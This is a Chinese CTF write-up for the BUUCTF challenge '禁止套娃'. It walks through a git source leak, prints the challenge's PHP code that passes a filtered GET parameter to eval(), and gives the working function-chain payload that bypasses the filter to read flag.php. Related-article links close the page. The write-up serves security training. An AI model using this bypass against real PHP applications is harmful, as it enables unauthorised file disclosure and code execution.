当前位置: 首页 > backend >正文

BUUCTF——禁止套娃

BUUCTF——禁止套娃

进入靶场

在这里插入图片描述

一个近乎空白的页面

看一下框架

在这里插入图片描述

没什么有用的信息,扫个目录吧

在这里插入图片描述

只扫出来给flag.php,但是0B,估计又是个空网站

拼接访问一下

在这里插入图片描述

果然又是什么都没有

没有突破口

githack找找看看也没有源码吧

在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){ //get传参expif (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {//过滤伪协议if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {//过滤关键字// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

根据这段代码构造payload

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

拿到flag

flag{510faf28-0e0f-400d-aa4d-c88c74df6cde}

下播!

在这里插入图片描述

http://www.xdnf.cn/news/3806.html

相关文章:

  • 【Hot 100】94. 二叉树的中序遍历
  • Spring 命名空间注入:p、c 与 .util 的深度解析
  • 欧拉计划 Project Euler64(奇周期平方根)题解
  • C++抽象基类三重防线:纯虚函数与保护构造的深度实践
  • js单调栈解题模板
  • skynet.socket.recv 没有处理分包问题
  • 办公文档全能处理工具功能解析
  • GR00t 安装使用教程踩坑记录
  • 专为焦油介质打造:煤焦油专用气动硬密封调节 V 型球阀(带手动)的卓越特点-耀圣
  • mvvm 如何 实现 MultiBinding 与转换器
  • SCAU18124--N皇后问题
  • 基于Vue2 + Element 实现任务列表管理功能的详细教程
  • tp5 php获取农历年月日干支甲午
  • MCP协议的使用分享
  • 数据库=====
  • 2025 年最新 Python 语言实现网易企业邮箱邮件推送验证码详细教程(更新中)
  • 智能决策支持系统的基本概念与理论体系
  • Ubuntu下安装Node.js
  • 【java八股文】深入浅出synchronized优化原理
  • 嵌入式Linux应用项目----智能网关
  • Docker Compose:服务编排:批量管理多个容器
  • 《Java高级编程:从原理到实战 - 进阶知识篇四》
  • 利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb
  • 深度思考Qwen3
  • MySQL 中日期相减的完整指南
  • # 基于词袋模型(BoW)的猫狗图像分类实践
  • vue的diff算法是什么、比较方式,原理分析、示例解释讲解
  • 迭代器的思想和实现细节
  • 【序列化与反序列化详解】
  • 【漫话机器学习系列】237. TSS总平方和